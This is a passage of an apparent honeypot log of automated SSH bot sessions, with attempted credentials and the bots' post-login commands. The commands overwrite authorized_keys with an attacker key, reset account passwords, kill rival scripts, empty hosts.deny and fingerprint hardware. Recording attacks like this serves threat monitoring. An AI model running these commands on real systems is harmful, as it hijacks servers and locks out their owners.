node\n^C"},{"seq":23,"at":"2026-08-27T13:02:22.466651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:02:23.296722+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:02:23.596393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:02:23.859405+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:02:24.158185+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:02:24.428492+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":29,"at":"2026-08-27T13:02:24.726774+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:02:26.064360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:02:26.364139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:02:28.508428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"ebcb1848-5249-4fdd-89c3-e9172f22b7e2","name":"feathered-cheerful-starling","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59600,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:11.508321+00:00","ended_at":"2026-08-27T13:02:12.966551+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kd","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b662831a-37d6-4aa2-9525-6f05f6e1384f","name":"steady-bashful-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59586,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:09.932134+00:00","ended_at":"2026-08-27T13:02:10.933943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1299ead7-4c8d-4d6e-b457-56d7f39f78da","name":"faded-upland-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34556,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:24.397509+00:00","ended_at":"2026-08-27T13:00:26.219203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:00:06.802211+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:00:07.092154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:00:10.886316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:00:11.649019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:00:11.943962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:00:12.235720+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:00:12.527901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:00:12.992335+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:00:13.286773+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:00:14.480804+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:00:14.775819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:00:15.697500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:00:15.992594+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:00:16.439409+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:00:16.734370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:00:17.281036+00:00","kind":"output","latency_ms":null,"data":" 13:00:17 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:00:17.574075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:00:17.894831+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:00:18.188122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:00:18.809200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:00:19.103052+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:00:19.907180+00:00","kind":"output","latency_ms":null,"data":"top - 13:00:19 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:00:20.200910+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:00:20.878367+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:00:21.172611+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:00:21.452853+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:00:21.747038+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:00:22.648908+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:00:22.943670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:24.103415+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:24.398593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:26.136709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Passw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"4ece8435-a09b-40d6-80b1-401d239fc981","name":"supple-weathered-lynx","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34560,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:00:09.869482+00:00","ended_at":"2026-08-27T13:00:10.800409+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9d392949-a4e5-4f63-834c-627a707fe5c0","name":"vernal-polar-dingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34558,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:00:07.763487+00:00","ended_at":"2026-08-27T13:00:09.291896+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b81903e5-027f-4f03-b5d6-2907a4608d6e","name":"brazen-prairie-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34350,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:17.091596+00:00","ended_at":"2026-08-27T12:58:18.000857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:57:58.301697+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:58.596274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:01.678710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:02.466887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:02.762453+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9VcJAHDFJy3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:03.057422+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:03.352081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:03.710719+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:04.007236+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:05.418493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:05.713561+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:06.960750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:07.261086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:07.815337+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:08.113954+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:08.968948+00:00","kind":"output","latency_ms":null,"data":" 12:58:08 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:09.264913+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:10.112108+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:10.407343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:11.210507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:11.509597+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:11.919918+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:11 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:12.216114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:13.046443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:13.343721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:13.856225+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:14.151376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:14.502188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:14.798901+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:16.795706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:17.092544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:17.916172+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"990db4c9-ea26-41b4-b957-2395fe52d53c","name":"hushed-thorny-saola","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34378,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:58:00.848161+00:00","ended_at":"2026-08-27T12:58:01.591834+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"906c3514-79d5-41ae-a824-40aed4be2cef","name":"keen-indigo-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34364,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:59.253898+00:00","ended_at":"2026-08-27T12:58:00.246883+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6813f20-da54-43e4-8628-5456f230fb6c","name":"meadow-thrifty-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44592,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:13.484738+00:00","ended_at":"2026-08-27T12:56:14.446308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:54.114162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:54.409317+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:58.549231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:59.231110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:59.525042+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MkoffwArKiM9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:59.817745+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:00.113034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:00.868736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:01.162634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:02.798735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:03.095568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:04.339370+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:04.635591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:04.936070+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:05.231602+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:05.853447+00:00","kind":"output","latency_ms":null,"data":" 12:56:05 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:06.149619+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:06.801178+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:07.096402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:07.654137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:07.947709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:08.636144+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:08 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:08.930481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:09.664907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:09.960036+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:10.587008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:10.881556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:11.619160+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:11.913824+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:13.189846+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:13.485720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:14.358429+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"dab3dbe7-afbc-45fe-8deb-966d823900b3","name":"barren-sooty-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47624,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:57.533245+00:00","ended_at":"2026-08-27T12:55:58.461546+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c82930b5-e157-46ee-bba4-38d1b2a9066d","name":"sincere-mindful-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44602,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:55.075378+00:00","ended_at":"2026-08-27T12:55:56.949734+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"77fe352d-ca94-40a2-91d5-880dded9378e","name":"oaken-curious-sable","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:14.420708+00:00","ended_at":"2026-08-27T12:54:15.991145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:56.555827+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:56.854178+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:54:01.064824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:54:01.419946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:54:01.724552+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pfUELMtffuah\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:54:02.018746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:54:02.319093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:54:03.062144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:54:03.363640+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:54:04.387579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:54:04.693734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 